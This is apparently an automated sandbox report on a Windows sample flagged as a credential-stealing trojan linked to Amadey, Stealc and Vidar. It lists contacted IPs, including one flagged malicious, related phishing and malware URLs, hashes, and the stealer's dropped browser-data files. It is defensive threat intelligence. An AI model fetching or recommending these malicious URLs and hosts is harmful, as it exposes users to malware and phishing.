https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp, IEHJDGIDBAAFIDGCGCAK.0.dr	false		high
https://web.skype.com/?browsername=edge_stable_shoreline	df38ef37-be6f-4e72-aa85-2bddccb274aa.tmp.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.200.0.42	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
52.182.143.215	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.8	unknown	United States	20940	AKAMAI-ASN1EU	false
4.249.200.148	unknown	United States	3356	LEVEL3US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.201.7	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564301
Start date and time:	2024-11-28 06:47:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@69/279@22/19
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.17.46, 64.233.165.84, 34.104.35.123, 172.217.21.35, 142.250.181.74, 172.217.19.202, 172.217.17.42, 142.250.181.42, 142.250.181.106, 172.217.19.234, 172.217.21.42, 172.217.19.170, 142.250.181.138, 172.217.17.74, 199.232.214.172, 192.229.221.95, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.61.93, 2.19.198.56, 23.32.238.138, 2.16.158.33, 2.16.158.32, 2.16.158.187, 2.16.158.171, 2.16.158.27, 2.16.158.26, 2.16.158.176, 2.16.158.185, 2.16.158.179, 23.32.238.235, 23.32.238.243, 23.32.238.168, 23.32.238.227, 23.32.238.225, 23.32.238.219, 23.32.238.232, 23.32.238.226, 23.32.238.218, 2.23.209.30, 2.23.209.25, 2.23.209.15, 2.23.209.6, 2.23.209.13, 2.23.209.8, 2.23.209.28, 2.23.209.29, 2.23.209.20, 2.16.158.59, 2.16.158.49, 2.16.158.50, 2.16.158.58, 2.16.158.51, 2.16.158.48, 2.16.158.43, 2.16.158.72, 2.16.158.56, 13.74.129.1, 204.79.197.237, 13.107.21.237, 13.87.96.169, 199.232.210.172, 142.250.80.67, 142.250.64.67, 14
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.traffic
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:48:28	API Interceptor	172x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.200.0.42	https://abex.co.in/1/?clickid=crj4hrne79is73f9g3kg&lp_key=17263275da2fd8c1a244a24d3218001b69e7968282&t1=1083194587&t2=.us.05.desktop.nonadult.windows.edge&key=7dfcf14e88e3f6336162#	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUMjlDUzRPSFpCUFlQWUFMOUs0ODBFUUZITi4u	Get hash	malicious	HTMLPhisher	Browse
	https://click.fastfilecourier.com/e/1087572/fqaOLKXX-Recipient-Email/dj2mqv/1468399888/h/Y-yN6gqmGvYCu8zFF1OIkot2fiqMtp1_384E9evvRdc	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.8
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.161.69.30
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.117
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.59
	sh4.elf	Get hash	malicious	Mirai	Browse	104.115.32.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.201.32
	.jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	172.233.230.58
	Demande de proposition du Accueil-Parrainage Outaouais.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	AB05_WRK_BLD01_2024-11-27_20_05_35.381.zip	Get hash	malicious	Unknown	Browse	23.52.182.8
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	104.117.182.32
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://myfreightstaffcom-my.sharepoint.com/:o:/g/personal/ron_myfreightstaff_com/EnRigj2x_19FkMo3-0FmKN8BQntw8FzTf16WsAty_W7fCg?e=XbFTvn	Get hash	malicious	Unknown	Browse	52.108.8.12
	arm7.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	spc.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	m68k.elf	Get hash	malicious	Mirai	Browse	147.145.171.247
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://myfreightstaffcom-my.sharepoint.com/:o:/g/personal/ron_myfreightstaff_com/EnRigj2x_19FkMo3-0FmKN8BQntw8FzTf16WsAty_W7fCg?e=XbFTvn	Get hash	malicious	Unknown	Browse	52.108.8.12
	arm7.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	spc.elf	Get hash	malicious	Mirai	Browse	138.91.104.211
	m68k.elf	Get hash	malicious	Mirai	Browse	147.145.171.247
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	file.exe	Get hash	malicious	Cryptbot	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.1.237.91
	method-statement-for-valve-installation_compress.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	23.1.237.91
	https://www.neositrin.es/wp-admin/config/login.php?	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	23.1.237.91
	http://jl8js06hmhweqjzpwxqys1c0phfs5ukaedqyjciru9agov5lm5zle.wceescty.ru	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	https://u48472318.ct.sendgrid.net/ls/click?upn=u001.hr7S8nziXj64ubNy28LRi6fkLmp5ohX7Oly4-2FZPyUWaZF08DrdPZiue-2Fr4SDrFQU-2BHl-2Bg9tC8G646sGuUqozOv2XUDBpwuc8tsv1cY-2F8Z5XtCyg5cWTtUjgnkcdnmls5vQFFD8c1ljK0Pc5RMA0Ju7TU-2BDPH2udzHyWCRaBmT6pdXhoVzb0sbjt1ChKJewJb8DCXfOqeOICRB5UQwb-2BI4quo4uW363OrY0A5-2BGyQrrY-3DfElU_CpTY3x9Wq68zqyUrrzHgeHvqMXj0y-2F-2B0TJu0qgfLMB5nzzicWA5rJUNm-2FgS8Oko-2FjNaa3oZ6pNdCrIrghWDl4xHrDXsNSzgM7HN-2BMPGXy8NBlSMJEmTPCoZBZ8uTh7-2BDUiwDAavdpunMKH1Anen3Y9eYu21VEPRfl-2FLPEoAEtzlRYfJy8bc2iRD3qc5INnOm2vdUK-2BQkvqW4MvDhdrdhBFRAu6aXT7unxhflfzvry4IIIJOSHYfplg-2BoTWYW0jWpLaQKrBqDUiDLNXDAfP-2FXO9HfmfwNi8ETJIgKu3wHZF8WOLUfX2AcISxuykm4Y-2BUGVtcO7QdMpZjYQtr1bDIh5PLslhYWfc0lWkPLz7c10MtV37q5Ir34Mvqm4eISAZMhWtFTdTrolsbpvFeZ-2By5j-2F5CtJA5OiyK7-2Bn-2BnRERHwu3Il6h-2F-2Fpyycs3N4Hr7Tt-2FDNC1n48c3fWkqHYvwL0DbEcn47o-2BnCPM3Z1N5UxWApfD5cFjzAFaHtI1Hv-2Fy0Trq9-2Bn5iYflQo7xiuXFPb0hoKQ-3D-3D	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	Cryptbot	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	http://54.90.127.229:5000/oops_we_did_it_again2.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	http://cpeciadogfoods.com	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.32.185.164 20.190.177.85

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIIIIJKFCAAECAKFIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJEBKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651559751206713
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMcSAELyKOMq+8yC8F/YfU5m+OlTLVumE:Bq+n0Jc9ELyKOMq+8y9/Ow/
MD5:	63AD3A7DE494ADBD00AD988FFF294BDE
SHA1:	3CCD5A7FAEA1367AF83A038425FABA95650AE2E9
SHA-256:	E2636680A9DE71D8979CB75DB07DE6D3F2A8810ADCB92783AB08E31E89427222
SHA-512:	F697B9BEEEFE7BD3530ACBCA8A34EF74F6153A3C3157CEE6847BCEF0137F9209D2A920CA90A5353A57A166545CE49B834B413249B67E5BA83F4DAF5247453206
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBKKKKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHJDGIDBAAFIDGCGCAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJECFIECBGDGCAAAEHIEGDGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJEHCGCGDAAAKFHJKJJJDHDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
